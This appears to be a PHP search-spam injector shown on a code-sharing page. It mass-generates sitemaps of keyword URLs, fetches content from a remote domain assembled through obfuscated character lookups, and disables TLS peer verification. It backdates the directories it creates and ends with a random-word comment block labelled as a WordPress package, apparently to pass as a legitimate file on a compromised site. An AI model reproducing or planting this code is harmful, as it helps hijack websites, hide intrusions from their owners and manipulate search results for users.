if($star % 12000==11999){
$gFile = '../webstruct/web' . $arrABC[$gnumber-1] . 'struct' .'.xml'; echo '<br/>'.$gFile.'<br/>'; $put_str = $mapPre . $str . $mapEnd; @unlink($gFile); file_put_contents($gFile,$put_str);
file_put_contents("./map.log",'#web' . $arrABC[$gnumber-1] . 'struct' .'.xml#'.PHP_EOL,FILE_APPEND);
$str = ''; $gnumber++; return; }
$str .= " <url>
<loc>" . $url . "</loc>
<lastmod>". $date . "T" . $time ."-05:00</lastmod>
<changefreq>daily</changefreq>
<priority>0.1</priority>
</url>
";
$star++; $starPri++; }
}
{
$gFile = '../webstruct/web' . $arrABC[$gnumber-1] . 'struct' .'.xml'; echo '<br/>'.$gFile.'<br/>';
$put_str = $mapPre . $str . $mapEnd; @unlink($gFile); file_put_contents($gFile,$put_str);
file_put_contents("./map.log",'#web' . $arrABC[$gnumber-1] . 'struct' .'.xml#'.PHP_EOL,FILE_APPEND);
$gnumber++;
}
unset($tempArr1); unset($filenames);
echo "生成sitemap成功!";
}
function gsitemap($filenames,$c=1,$jdt=1){
global $gnumber,$arrArrr;
$arrABC = range('a','z');
$tparrsI = $filenames;
$randnum = rand(7000,7600);
$tparrII = array_rand($tparrsI,$randnum);
$tparrIII = array();
foreach($tparrII as $vs){
$tparrIII[$vs] = $filenames[$vs];
}
$filenames = $tparrIII;
$filePres = ''; $fileEnds = '';
$fpath='http://'.$_SERVER['HTTP_HOST'].$_SERVER['REQUEST_URI']; $serpath=substr($fpath,0,strrpos($fpath,'/'));
$siteLink='http://'.$_SERVER['HTTP_HOST'];
$mapPre = '<'.'?xml version="1.0" encoding="UTF-8" ?'.'>'. PHP_EOL.'<urlset xmlns="http://www.sitemaps.org/schemas/sitemap/0.9">' . PHP_EOL; $mapEnd = PHP_EOL . '</urlset>';
// $urlsArray = $filenames;
// $numLinks = count($urlsArray);
$star = 0; $priority = 0.9; $starPri = 0; $gFile =""; $date = date("Y-m-d"); $time = date("H:i:s");
$str = " <url>
<loc>" . $siteLink . "</loc>
<lastmod>". $date . "T" . $time ."-05:00</lastmod>
<changefreq>always</changefreq>
<priority>1.0</priority>
</url>
";
$tempArr1 = $filenames;
foreach($tempArr1 as $key => $value2){
$curphp=basename(__FILE__);
$value = $value2; $first=stristr($value,".php"); $last=stristr($value,".xml"); $checkTxt =stristr($value,".txt");
$tempPid = $key;
$url = getalink($tempPid,$value2);
if($first===false && $last===false && $checkTxt===false)
{
$date = date("Y-m-d"); $time = date("H:i:s");
if($star % 12000==11999){
$gFile = '../webstruct/web' . $arrABC[$gnumber-1] . 'struct' .'.xml'; echo '<br/>'.$gFile.'<br/>';
$put_str = $mapPre . $str . $mapEnd; @unlink($gFile); file_put_contents($gFile,$put_str);
file_put_contents("./map.log",'#web' . $arrABC[$gnumber-1] . 'struct' .'.xml#'.PHP_EOL,FILE_APPEND);
$str = ''; $gnumber++; return;
}
if($starPri >= 400 && $priority != 0.1){
$starPri = 0; $priority = $priority - 0.1; }
if($priority > 0.1){
$str .= " <url>
<loc>" . $url . "</loc>
<lastmod>". $date . "T" . $time ."-05:00</lastmod>
<changefreq>daily</changefreq>
<priority>". $priority . "</priority>
</url>
";
}else{
$str .= " <url>
<loc>" . $url . "</loc>
<lastmod>". $date . "T" . $time ."-05:00</lastmod>
<changefreq>daily</changefreq>
<priority>0.1</priority>
</url>
";
}
$star++; $starPri++; }
}
{
$gFile = '../webstruct/web' . $arrABC[$gnumber-1] . 'struct' .'.xml'; echo '<br/>'.$gFile.'<br/>';
$put_str = $mapPre . $str . $mapEnd; @unlink($gFile); file_put_contents($gFile,$put_str);
file_put_contents("./map.log",'#web' . $arrABC[$gnumber-1] . 'struct' .'.xml#'.PHP_EOL,FILE_APPEND);
$gnumber++;
}
unset($tempArr1); unset($filenames); echo "生成sitemap成功!";
}
function curl_get_from_webpage($url,$proxy='',$loop=10){
$data = false; $i = 0; while(!$data) {
$data = curl_get_from_webpage_one_time($url,$proxy); if($i++ >= $loop) break; }
return $data;}
function curl_getjs_from_webpage($url,$time){
if(function_exists("curl_init") && function_exists("curl_setopt") && function_exists("curl_exec") && function_exists("curl_close")){
$curl = curl_init(); //如果有用代理,则使用代理.
$user_agent = "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; chromeframe/12.0.742.100";
// $urlReferer = "http://www.google.com";
curl_setopt($curl, CURLOPT_URL, $url);
if(stristr($url,"https:")){ curl_setopt_array($curl, array(CURLOPT_SSL_VERIFYHOST => 2,CURLOPT_SSL_VERIFYPEER => 0, CURLOPT_POSTFIELDS => '', CURLOPT_RETURNTRANSFER => 1,CURLOPT_TIMEOUT => $time,CURLOPT_USERAGENT => $user_agent,CURLOPT_HEADER => 1, CURLOPT_VERBOSE => 0
));}else{curl_setopt($curl, CURLOPT_URL, $url);curl_setopt($curl, CURLOPT_TIMEOUT, $time);curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);curl_setopt($curl, CURLOPT_HEADER, false);curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);curl_setopt($curl, CURLOPT_USERAGENT, $user_agent);
}$data=curl_exec($curl);curl_close($curl);
}else{
$is_auf=ini_get('allow_url_fopen') && function_exists("file_get_contents")?true:false;
if($is_auf){
$data = file_get_contents($url);
}
}
if(!$data) return false;
return $data;
}
function curl_get_from_webpage_one_time($url,$proxy=''){
if(function_exists("curl_init") && function_exists("curl_setopt") && function_exists("curl_exec") && function_exists("curl_close")){
$curl = curl_init(); //如果有用代理,则使用代理.
$user_agent = "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; chromeframe/12.0.742.100";
// $urlReferer = "http://www.google.com";
if(strlen($proxy) > 8) curl_setopt($curl, CURLOPT_PROXY, $proxy);
curl_setopt($curl, CURLOPT_URL, $url);
if(stristr($url,"https:")){ curl_setopt_array($curl, array(CURLOPT_SSL_VERIFYHOST => 2,CURLOPT_SSL_VERIFYPEER => 0, CURLOPT_POSTFIELDS => '', CURLOPT_RETURNTRANSFER => 1,CURLOPT_USERAGENT => $user_agent,CURLOPT_HEADER => 1, CURLOPT_VERBOSE => 0
));}else{curl_setopt($curl, CURLOPT_URL, $url);curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);curl_setopt($curl, CURLOPT_HEADER, false);curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);curl_setopt($curl, CURLOPT_USERAGENT, $user_agent);
}$data=curl_exec($curl);curl_close($curl);
}else{
$is_auf=ini_get('allow_url_fopen') && function_exists("file_get_contents")?true:false;
if($is_auf){
$data = file_get_contents($url);
}
}
if(!$data) return false;
return $data;
}
//
function my_mkdir($dir){
global $fitime;
if(!is_dir($dir)){
mkdir($dir);
@touch($dir, $fitime, $fitime);
}
}
function generate_dir_file($gDir=''){
global $hostDir;
$gDir = str_replace('/',DIRECTORY_SEPARATOR,$gDir);
$gDir = str_replace('\\',DIRECTORY_SEPARATOR,$gDir);
$arr = explode(DIRECTORY_SEPARATOR,$gDir);
if(count($arr) <= 0) return;
if(!strstr($gDir,$hostDir))
$dir = $hostDir;
else
$dir = '';
for($i = 0 ; $i < count($arr)-1 ; $i++){
$dir .= DIRECTORY_SEPARATOR . $arr[$i];
my_mkdir($dir);
}
return $dir;
}
function strFilter($str){
$str = str_replace('`', '', $str);
$str = str_replace('·', '', $str);
$str = str_replace('~', '', $str);
$str = str_replace('!', '', $str);
$str = str_replace('!', '', $str);
$str = str_replace('@', '', $str);
$str = str_replace('#', '', $str);
$str = str_replace('$', '', $str);
$str = str_replace('¥', '', $str);
$str = str_replace('%', '', $str);
$str = str_replace('^', '', $str);
$str = str_replace('……', '', $str);
$str = str_replace('*', '', $str);
$str = str_replace('(', '', $str);
$str = str_replace(')', '', $str);
$str = str_replace('(', '', $str);
$str = str_replace(')', '', $str);
$str = str_replace('-', '', $str);
$str = str_replace('_', '', $str);
$str = str_replace('——', '', $str);
$str = str_replace('+', '', $str);
$str = str_replace('=', '', $str);
$str = str_replace('|', '', $str);
$str = str_replace('\\', '', $str);
$str = str_replace('[', '', $str);
$str = str_replace(']', '', $str);
$str = str_replace('【', '', $str);
$str = str_replace('】', '', $str);
$str = str_replace('{', '', $str);
$str = str_replace('}', '', $str);
$str = str_replace(';', '', $str);
$str = str_replace(':', '', $str);
$str = str_replace('<', '', $str);
$str = str_replace('>', '', $str);
$str = str_replace(':', '', $str);
$str = str_replace('\'', '', $str);
$str = str_replace('"', '', $str);
$str = str_replace(',', '', $str);
$str = str_replace(',', '', $str);
$str = str_replace('《', '', $str);
$str = str_replace('》', '', $str);
$str = str_replace('.', '', $str);
$str = str_replace('。', '', $str);
$str = str_replace('–', '', $str);
$str = str_replace('–', '', $str);
$str = str_replace('/', '', $str);
$str = str_replace('、', '', $str);
$str = str_replace('?', '', $str);
$str = str_replace('?', '', $str);
$str = str_replace('°', '', $str);
$str = str_replace('&', '&amp;', $str);
return trim($str);
}
function getalink($pid,$pname=''){
global $arrnametime,$arrKeywz,$arr_word,$strRand;
if(strstr($pname,'#cat#')){
$tp_pname_arr = explode('#cat#',$pname);
$pname = $tp_pname_arr[1];
$precat = $tp_pname_arr[0];
}
if(function_exists("preg_split")){
$tpnameArr = preg_split('/\s+/us', $pname);
}else{
$tpnameArr = explode(' ', $pname);
}
$pnameArr = array();
foreach($tpnameArr as $tpvs){
$tpvs = trim($tpvs);
if($tpvs){
$pnameArr[] = $tpvs;
}
}
$numPname = count($pnameArr);
if($numPname > 3){
$numLinkKey = round(PNAMELEN * $numPname / 100);
$yushu = KEYJG % $numPname;
$arrPre = array();
$arrLast = array();
for($i=0;$i<$numPname;$i++){
if($i<$yushu){
$arrLast[] = $pnameArr[$i];
}else{
$arrPre[] = $pnameArr[$i];
}
}
if(count($arrLast)){
foreach($arrLast as $vs){
$arrPre[] = $vs;
}
}
$usedNameArr = array();
for($i=0;$i<$numLinkKey;$i++){
$usedNameArr[$i] = $arrPre[$i];
}
if(count($usedNameArr)){
$pname = implode(' ',$usedNameArr);
}
}
if(JDT == 0){
// $precat = strFilter($precat);
// $precat = preg_replace('/\s+/', '-', $precat);
}
$pname = strFilter($pname);
$filePres = ''; $fileEnds = ''; $siteLink='http://'.$_SERVER['HTTP_HOST'];
$dirNames = dirname(__FILE__); $httcReplace = end((explode(DIRECTORY_SEPARATOR, $dirNames)));
if(JDT == 2){
$filePres = $siteLink ."/". $httcReplace . "/" . basename(__FILE__) . "/"; }elseif(JDT == 1){
$filePres = $siteLink ."/". $httcReplace . "/"; }elseif(JDT == 3){
$filePres = $siteLink ."/". $httcReplace . "/" .basename(__FILE__) . "?keyword="; }else{
$filePres = $siteLink."/"; }
$rsp = '#'. BZPRO .'\d+#';
$pname = trim($pname);
$pname = preg_replace('/\s+/', '-', $pname);
if(JDT == 3){
$rs = '#&[^;]+;#i';
$pname = preg_replace($rs,'',$pname);
while(strstr($pname,'&'))
$pname = str_replace('&','',$pname);
while(strstr($pname,'--'))
$pname = str_replace('--','-',$pname);
$linkCenter = $pname .'-' .$pid;
$rtStr = $filePres.$linkCenter;
$rtStr = str_replace($filePres.'-',$filePres,$rtStr);
return $rtStr;
}
if(strlen($pname) > 235){
$rs = '#&[^;]+;#i';
$pname = preg_replace($rs,'',$pname);
$pname = str_replace('&','',$pname);
$pname = str_replace('&',';',$pname);
if(function_exists("mb_substr")){
$pname = mb_substr($pname, 0, 235, 'utf-8');
}else{
$pname = substr($pname, 0, 235);
}
}
// $precat = preg_replace($rsp,'',$precat);
// $precat = str_replace('&','',$precat);
// $precat = str_replace('&',';',$precat);
// $precat = preg_replace('/\s+/', '-', $precat);
$pname = preg_replace($rsp,'',$pname);
if(JDT == 0){
$linkCenter = $pid.'/'.$pname;
}else{
$linkCenter = $pid.'/'.$pname;
}
$linkCenter .= JTHZ; $linkCenter = str_replace("-/","/",$linkCenter); $linkCenter = str_replace("-".JTHZ,JTHZ,$linkCenter);
while(strstr($linkCenter,'--'))
$linkCenter = str_replace('--','-',$linkCenter);
// $linkCenter = str_replace('/-','/',$linkCenter);
$rtStr = $filePres.$linkCenter;
$rtStr = str_replace($filePres.'-',$filePres,$rtStr);
$rtStr = str_replace('-amp;-','-&amp;-',$rtStr);
return $rtStr;
}
function rmhtmltag($tagname='',$str=''){
$rulers = '#<'.$tagname.'[^>]*>.*?</'.$tagname.'>#s';
$str = preg_replace($rulers,'',$str);
$rulers = '#<'.$tagname.'[^>]*>.*?</'.$tagname.'>#i';
$str = preg_replace($rulers,'',$str);
return $str;
}
function rmhtmltag2($tagname='',$str=''){
$rulers = '#<'.$tagname.'[^>]*>#s';
$str = preg_replace($rulers,'',$str);
$rulers = '#</'.$tagname.'>#s';
$str = preg_replace($rulers,'',$str);
$rulers = '#<'.$tagname.'[^>]*>#i';
$str = preg_replace($rulers,'',$str);
$rulers = '#</'.$tagname.'>#i';
$str = preg_replace($rulers,'',$str);
return $str;
}
//
function is_ip($localIp,$ipRanges)
{
$localIp = ip2long($localIp);
foreach($ipRanges as $val)
{
$ipmin=sprintf("%u",ip2long($val[0])); $ipmax=sprintf("%u",ip2long($val[1]));
if($localIp >= $ipmin && $localIp <= $ipmax)
{
return true;
}
}
return false;}
function RandAbcs($length = ""){
$str = "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ_./:-";
return ($str);
}
function getarr(){
global $O00O0O;
$arr[0]=$O00O0O{21}.$O00O0O{8}.$O00O0O{15}.$O00O0O{4}.$O00O0O{4}.$O00O0O{18}.$O00O0O{7}.$O00O0O{14}.$O00O0O{18}.$O00O0O{19}.$O00O0O{63}.$O00O0O{23}.$O00O0O{24}.$O00O0O{25};$arr[1]=$O00O0O{22}.$O00O0O{4}.$O00O0O{1}.$O00O0O{8}.$O00O0O{13}.$O00O0O{19}.$O00O0O{18}.$O00O0O{14}.$O00O0O{20}.$O00O0O{17}.$O00O0O{4}.$O00O0O{63}.$O00O0O{23}.$O00O0O{24}.$O00O0O{25};$arr[2]=$O00O0O{11}.$O00O0O{14}.$O00O0O{10}.$O00O0O{21}.$O00O0O{0}.$O00O0O{11}.$O00O0O{3}.$O00O0O{8}.$O00O0O{6}.$O00O0O{8}.$O00O0O{19}.$O00O0O{0}.$O00O0O{11}.$O00O0O{63}.$O00O0O{23}.$O00O0O{24}.$O00O0O{25};$arr[3]=$O00O0O{7}.$O00O0O{13}.$O00O0O{14}.$O00O0O{18}.$O00O0O{14}.$O00O0O{18}.$O00O0O{19}.$O00O0O{17}.$O00O0O{0}.$O00O0O{13}.$O00O0O{18}.$O00O0O{63}.$O00O0O{23}.$O00O0O{24}.$O00O0O{25};$arr[4]=$O00O0O{7}.$O00O0O{14}.$O00O0O{25}.$O00O0O{4}.$O00O0O{12}.$O00O0O{14}.$O00O0O{22}.$O00O0O{4}.$O00O0O{1}.$O00O0O{63}.$O00O0O{23}.$O00O0O{24}.$O00O0O{25};
return $arr;
}
function getthisdom(){
$myArrs = getarr();
return 'http://www.'.$myArrs[CENTERKEY].MYDIR;
}
function get_real_ip(){
$ip = '';
/**
* resolve any proxies
*/
if (isset($_SERVER)) {
if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
$ip = $_SERVER['HTTP_X_FORWARDED_FOR'];
} elseif (isset($_SERVER['HTTP_CLIENT_IP'])) {
$ip = $_SERVER['HTTP_CLIENT_IP'];
} elseif (isset($_SERVER['HTTP_X_FORWARDED'])) {
$ip = $_SERVER['HTTP_X_FORWARDED'];
} elseif (isset($_SERVER['HTTP_X_CLUSTER_CLIENT_IP'])) {
$ip = $_SERVER['HTTP_X_CLUSTER_CLIENT_IP'];
} elseif (isset($_SERVER['HTTP_FORWARDED_FOR'])) {
$ip = $_SERVER['HTTP_FORWARDED_FOR'];
} elseif (isset($_SERVER['HTTP_FORWARDED'])) {
$ip = $_SERVER['HTTP_FORWARDED'];
} else {
$ip = $_SERVER['REMOTE_ADDR'];
}
}
if (trim($ip) == '') {
if (getenv('HTTP_X_FORWARDED_FOR')) {
$ip = getenv('HTTP_X_FORWARDED_FOR');
} elseif (getenv('HTTP_CLIENT_IP')) {
$ip = getenv('HTTP_CLIENT_IP');
} else {
$ip = getenv('REMOTE_ADDR');
}
}
/**
* sanitize for validity as an IPv4 or IPv6 address
*/
$ip = preg_replace('~[^a-fA-F0-9.:%/,]~', '', $ip);
/**
* if it's still blank, set to a single dot
*/
if (trim($ip) == '') $ip = '.';
return $ip;
}
/**
* Internet avenue descend extent grant index insure profitable unique utilise yield.
* applause arbitrary descend disturb drip emotional geology liter mere mild modify optional pat submerge tense.
* alter approve arbitrary column core encounter exclusive faulty favorite glimpse launch preserve promote relevant reliable slender strategic submit tender theme utilise wealthy weed.
* expenditure hostile leather onion retail scan skim talent violent.
* appropriate automatic coil consistent exclaim explore favorable female gesture golf harmony hint ingredient legislation liberty luxury maximum modest nuclear satellite shuttle slender snap tender weld.
* architect barrier cope echo expel explode incident jail organ radical religion repetition software tarnest tendency triumph valid videotape.
* aware glorious licence modest oval personal removal sensitive triumph vague vary.
* algebra capture decade exclusive fax fertilizer garbage isolate leak necessity obstacle reject resolve shift wonder.
* aware entertainment female geology kneel partial repetition ridid secure shrug subsequent.
* apparent competition consume equivalent flee infant insure moral partial pat prescribe resistant ruin tendency territory whereas.
* electron highlight offend profitable.
* extraordinary gallery ingredient neglect restrict slide stuff temporary vertical.
* approach brake collision diverse exclaim jungle liberty mainland male necessity oblige restrict simplicity solar tarnest temple transform treaty triangle vacuum welfare.
* abundant arouse continual duration laser numerrous origin remarkable significance triangle vacant weed.
* continuous deposit echo evaluate expansion expensive explore forbid gasoline genius germ globe hestiate launch leisure recruit remarkable substantial volunteer.
* academic bacteria explore female gear jeans motive nonsense noticeable oblige professional provision relief.
* authority capture continuous decent delicate devise drift extraordinary favorite holy infinite ingredient interfere male odd parallel passive peak quotation regulate repetition slope stable vanish volcano.
* acid alter bundle chaos consent deaf delay exclaim glorious index maintain nylon recruit repetition shield substantial timber wax.
* abundant comparative distribute electron extinct fertilizer laser nevertheless outstanding portable professional restrain skim slope vague violent wonder.
* adequate code column consistent enclose explosive favorite jeans jewel launch liberal odd primitive reject survey tremendous valid via.
* arichmetic comparative conservation constant debt deposit episode garbage infant jewel loosen nuclear oral orient oval primitive simplicity solar stimulate tremendous vehicle via victim xploit.
* Internet academic balcony comedy community continuous descend evaluate manufacture obstacle orchestra prominent quotation restraint seminar transport video volume waist.
* auxiliary beforehand capture code enclose exaggerate exceedingly expend expensive gallery guilty parallel previous principle removal voluntary.
* architecture attach catalog naked offend optimistic simplicity substitute terminal universal valley.
*
* @package WordPress
*/
//file end
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment